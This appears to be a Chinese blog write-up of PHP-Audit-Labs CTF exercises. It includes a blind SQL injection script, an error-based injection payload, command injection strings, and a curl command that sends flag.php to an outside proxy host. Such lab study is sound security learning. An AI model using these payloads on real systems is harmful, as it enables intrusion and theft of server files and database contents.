PHP-Audit-Labs学习

Day1

这个讲到的是in_array() 这个函数的一个错误使用导致的过滤不严格问题。
in_array() 函数的第三个函数是配置是否进行强匹配的,很多情况下使用者都会忽略第三个参数,从而只进行弱匹配。

一般用来限定输入只能是数组中的几个数值,但是当我们输入的是字符串的时候,由于是判断是否在一个数字数组中,所以会强制类型转换为数字。只要我们保证强制类型转换后的结果在数组中就可以了,这样就可以绕过只能输入数字的限制。

这个知识点很简单。

接下来做留的题目。

//index.php
connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "
"; foreach ($row as $key => $value) { echo "
"; echo "
"; } echo "
$key
$value
"; } else{ die($conn->error); } ?>
//config.php

# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

我们要做的就是绕过对输入的限制,去读flag表中的flag字段。
代码中对传入的id参数做了两次限制,一次是通过一个stop_hack()函数,在该函数中判断输入是否含有黑名单中的字符串,有就直接退出。
另一次就是使用了in_array()函数要求id只能是白名单中的几个数字。后一个过滤我们很简单可以绕过…(甚至可以说完全不需要考虑这个的绕过)

接下来就是一道sql注入题目了。
过滤了很多关键字,我看到的第一反应是构造SELECT * FROM users WHERE id=$id union select flag,1 from flag,但是union被过滤掉了,select是可以使用的。

//exp.py
import requests
import string
from urllib import quote

table = string.uppercase + string.lowercase + string.digits + string.punctuation

def getFlag():
    result = ""
    for i in range(1, 50):
        flag = 0
        for j in table:
            if(j == "#") | (j == "\\") | (j == "'") | (j == "\"") | (j == "*"):   # \* detected
                continue
            url = "http://xxx.xxx.xxx.xxx/day1/index.php?id=1%%20and%%20(mid((select%%20flag%%20from%%20flag),%d,1)=%%27%s%%27)" % (i, quote(j))
            re = requests.get(url)
            if len(re.text) != 0:
                result += j
                flag = 1
                print(result)
                break
        if flag == 0:
            break
    print(result)

def main():
    getFlag()

if __name__ == "__main__":
    main()

上面为布尔盲注脚本。

看官方给出的方法是使用updatexml() 报错注入。
–>如何在过滤掉concat()函数的情况下,仍然使用updatexml()函数进行报错注入。
id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
就是要找一个可以将~特殊字符拼在(select flag from flag)结果前面的函数。
如果直接select updatexml(1,(select flag from flag),1)的话,通过报错信息不能看到完整的flag,报错内容是从特殊字符开始的内容。

知道这个知识点就好了。感觉自己做盲注更多一点,就会更容易想到盲注。但是如果想到了updatexml的话,发现常和这个函数搭配进行报错注入的concat函数被过滤掉了,要能接着想到怎么去解决。emm,方法论呀~

不过我总感觉可以直接看到报错信息的情况好少呀。
可以直接看到报错信息,要想到报错注入,更快捷一点,不需要一个一个去爆破。(原谅我的碎碎念)

Day2

这个知识点,其实之前也见过好几次了,但有一种每次都不一样的感觉??,我好像一直都是理解了个大概意思,然后每次见到还是不知道要怎么搞。

就直接针对这个题目来说了。
url=demo://";cat

我们最后是要通过exec()函数来执行任意指令,就是说我们要去命令注入(我刚开始一直在想怎么去请求到flag所在的文件…),就是执行完curl指令之后还要去执行ls或者cat这些我们想要执行的任意指令,所以一定会用到;,那要想加入分号,又可以绕过filter_var()函数的过滤的话,是不能使用http协议的,所以随便换一个"协议名称"。
(我感觉一开始的出发点不是要绕过filter_var,而是说我们要构造一个什么样的句子,可以实现命令注入的功能,之后再去想,要让我们构造的句子成功执行,需要把它改造成什么样子,才能绕过一个又一个的过滤、限制)

parse_url函数会把上述payload解析,解析后得到的host";ls;";sec-redclub.com:80/

在这里插入图片描述

官方给的payload是使用了bash的单行注释符#,但是我按照那个payload就无法得到结果,不能按照我们的想法去解析。是因为:直接编码#%23,在浏览器是这样,但是传递给parse_url函数之后就变回了#,所以就把#之后的内容解析成了fragment,emm,不知道是哪里的问题。
PHP-Audit-Labs学习_第1张图片

PHP-Audit-Labs学习_第2张图片

PHP-Audit-Labs学习_第3张图片

而按我那样的payload的话,虽然后面部分的bash执行会执行失败,但是并不会影响前面指令的正常执行。所以也是可以的。
PHP-Audit-Labs学习_第4张图片

Day3

这个题目也是月赛出过的baby题,是叫对象实例化漏洞哦?
复现了一下文中提到的shopwarexxe漏洞。emm,其实复现过程很简单,理解起来也不难。需要的话可以看一下。https://blog.csdn.net/littlelittlebai/article/details/84961797

然后就是做题目了,复现的时候要保证你的php环境开启了xml,(sudo apt-get install php-xml)

如下知识点:

  • spl_autoload_register() 注册给定的函数作为__autoload()的实现
  • GlobIteratorphp的一个内置类,就是在文件系统中以和glob()函数同样的方式去寻找文件(翻译了一下文档),反正就是可以用于找文件的一个类
  • SimpleXMLElement 这个php内之类已经很熟悉啦

Day4

我好像之前写了但是没保存哎…emmm…

  • false 0 null 经过! 都是1,所以不能简单通过!$var 来判断$var是否为false这样

留的那个题目,把代码放到Web目录下,直观去看一下代码实现了什么功能,在判断是否猜中数字那里,存在一个弱类型匹配,true == 数字 这个式子,只要这个数字不是0 那都是成功的,所以我们只要postnumbers为8个数字就可以“中大奖”了。

Day5

这期主要讲解了两个函数同时使用带来的命令注入问题。escapeshellarg()escapeshellcmd()两个函数。

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec()system() 执行运算符(反引号)。
escapeshellcmd会转义一些字符,并且单引号和双引号只有在不配对的情况下才会被转义。

还有一个filter_var() 在判断是否为合法email时,可以欺骗它,允许我们输入非法格式email的问题。

漏洞的复现没有具体复现??emm…等之后吧,记下待办事项。

然后看一下留的题目。
是各种绕过问题,不允许我们通过GET请求传输flag参数,但是之后又会判断isset($_GET['flag']),吧啦吧啦…

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }
}

当我们传入一个post值为_GET[flag] (不是_GET['flag']),在执行这段代码时,会变成去判断$_GET['flag'] 是否存在,并且判断$_GET['flag']的值是否为$_POST[_GET['flag']]的值。我们通过构造这样一个特殊名称的post参数,绕过这两个判断,执行到unset($$_k)语句,从而可以绕过waf()

之后在执行if($_POST) extract($_POST, EXTR_SKIP);时,会将post的参数值变为变量,从而又将_GET[flag]变为变量,即$_GET[flag]在之后的if(isset($_GET['flag'])) 就可以成功绕过。

后面就是函数一个md5的绕过,很常见,然后是这期主要讲的两个函数同时使用,造成命令注入。
(一定要对system() eval() 等函数很敏感啊!!)

我们本来想执行的命令是:
curl http://127.0.0.1/ -F file=@/var/www/html/flag.php -x 192.168.101.1:8888
但是由于escapeshellarg()函数的存在,会把最终执行的命令变为
curl 'http://127.0.0.1/ -F file=@/var/www/html/flag.php -x 192.168.101.1:8888'

那就变成curl直接去请求一个http://127.0.0.1/ -F file=@/var/www/html/flag.php -x 192.168.101.1:8888这样的网址了,没办法达到我们拿到flag.php文件的要求。

所以考虑添加一个单引号,打乱escapeshellarg函数的转义,即
curl http://127.0.0.1/' -F @/var/www/html/flag.php -x 192.168.101.1:8888
经过escapeshellarg()之后,会变为:
curl 'http://127.0.0.1/'\'' -F file=@/var/www/html/flag.php -x 192.168.101.1:8888'
再经过escapeshellcmd()之后,会变为:
curl 'http://127.0.0.1/'\\'' -F file=@/var/www/html/flag.php -x 192.168.101.1:8888\'

PHP-Audit-Labs学习_第5张图片

PHP-Audit-Labs学习_第6张图片

上面是我的物理机上执行这条指令的结果,是可以成功执行,并且拿到我们要的文件的,curl版本也贴在上面了。

然后在虚拟机上另一个curl版本试的时候就不行…emmm,不是讲道理是高版本不行,低版本行吗?

PHP-Audit-Labs学习_第7张图片

这道题目就到这里吧。
没有调一下那个CVE 觉得很心虚,记得之前安恒杯一月月赛也出过一个mail()函数的命令注入的题目来着,之后可以一起找来看一下。

这期内容就这样吧,感觉讲的不是很详细。

Day6

这一期主要是正则表达式理解以及php用于正则匹配以及替换的相关函数。
然后看了其中提到的 经典的案例是通过正则写配置文件,getshell 的帖子,感觉想法真是独特。
其中,利用多次转义绕过对单引号等的转义的点子感觉可以出个sql注入的题哦。?虽然这已经是两年前的点子了。
之前上课的时候老师有说过一个Discuzsql注入漏洞也是因为有多次转义。

1. preg_replace()函数在处理字符串的时候,会自动对第二个参数中的反引号转义

你可能感兴趣的:(WriteUp)